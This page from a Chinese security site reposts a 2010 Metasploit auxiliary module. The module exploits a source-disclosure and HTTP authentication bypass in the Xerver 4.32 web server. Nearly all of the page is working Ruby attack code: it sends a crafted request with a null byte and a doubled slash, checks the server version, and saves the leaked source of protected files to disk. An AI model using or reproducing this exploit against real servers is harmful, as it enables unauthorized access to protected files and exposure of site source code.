首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Xerver 4.32 Source Disclosure and HTTP Authentication Bypass
来源:http://www.metasploit.com 作者:Schmidt 发布时间:2010-08-02  

# Exploit Title: Xerver Source Disclosure and HTTP Auth Bypass
# Date: 01 Aug 2010
# Author: Ben Schmidt aka supernothing
# Software: http://www.javascript.nu/xerver/
# Version: 4.32 and prior
# Tested on: Windows XP SP3
# CVE: N/A


##
# This file is derived from part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::HttpClient
 include Msf::Auxiliary::Report
 include Msf::Auxiliary::Scanner

 def initialize
  super(
   'Name'           => 'Xerver Source Code Disclosure/Download, Authentication Bypass',
   'Version'        => '$Revision: 1 $',
   'Description'    => %q{
     This module exploits a source code disclosure/download vulnerability in
    versions of the Xerver web server up to and including version 4.32. It also
                incorporates an authentication bypass vulnerability that allows you to dump
                the source of files in HTTP auth protected directories as well.
   },
   'References'     =>
    [
     [ 'CVE', '' ],
     [ 'OSVDB', '' ],
     [ 'BID', '' ],
                    ['URL','http://spareclockcycles.org/2010/08/01/multiple-vulnerabilities-in-xerver-4-32/']
    ],
   'Author'         =>
    [
                    #Vulnerability discovered by:
                    'supernothing',
                    #Module based on nginx source disclosure code by:
     'Alligator Security Team',
     'Tiago Ferreira <tiago.ccna[at]gmail.com>',
    ],
   'License'        =>  MSF_LICENSE)

  register_options(
   [
    OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']),
    OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']),
   ], self.class)
 end

 def target_url
  "http://#{vhost}:#{rport}#{datastore['URI']}"
 end

 def run_host(ip)
  uri = datastore['URI']
  path_save = datastore['PATH_SAVE']

  vuln_versions = [
   "Xerver/4.32",#Others definitely vulnerable, add as needed
  ]

  begin
   res = send_request_raw(
    {
     'method'  => 'GET',
     'uri'     => "//#{uri}\x00.txt", #extra forward slash for breaking password protection
    }, 25)

   if res
    version = res.headers['Server']
    http_fingerprint({ :response => res })
   end
   
            if vuln_versions.include?(version)
    print_good("#{target_url} - Xerver - Vulnerable version: #{version}")

    if (res and res.code == 200)

     print_good("#{target_url} - Xerver - Getting the source of page #{uri}")

     save_source = File.new("#{path_save}#{uri}","w")
     save_source.puts(res.body.to_s)
     save_source.close

     print_status("#{target_url} - Xerver - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}"))

    else
     print_error("http://#{vhost}:#{rport} - Xerver - Unrecognized #{res.code} response")
     return

    end

   else
    if version =~ /Xerver/
     print_error("#{target_url} - Xerver - Cannot exploit: the remote server is not vulnerable - Version #{version}")
    else
     print_error("#{target_url} - Xerver - Cannot exploit: the remote server is not Xerver")
    end
    return

   end

  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  rescue ::Timeout::Error, ::Errno::EPIPE
  end
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Jaangle 0.98e.971 Denial of Se
·WM Downloader 3.1.2.2 Buffer O
·eSmart-Vision Trading (g_detai
·Mini-stream RM-MP3 Converter/W
·Personal FTP Server 5.52f Expl
·Eremetia (news.php & faq2.php
·Payment Processor Script (faq.
·WordPress Plugin myLDlinker (m
·PHP Live 3.3 Remote SQL Inject
·Progitek Visionner Photos v2.0
·Area Galid (galid) SQL Injecti
·Avast! Internet Security 5.0 a
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved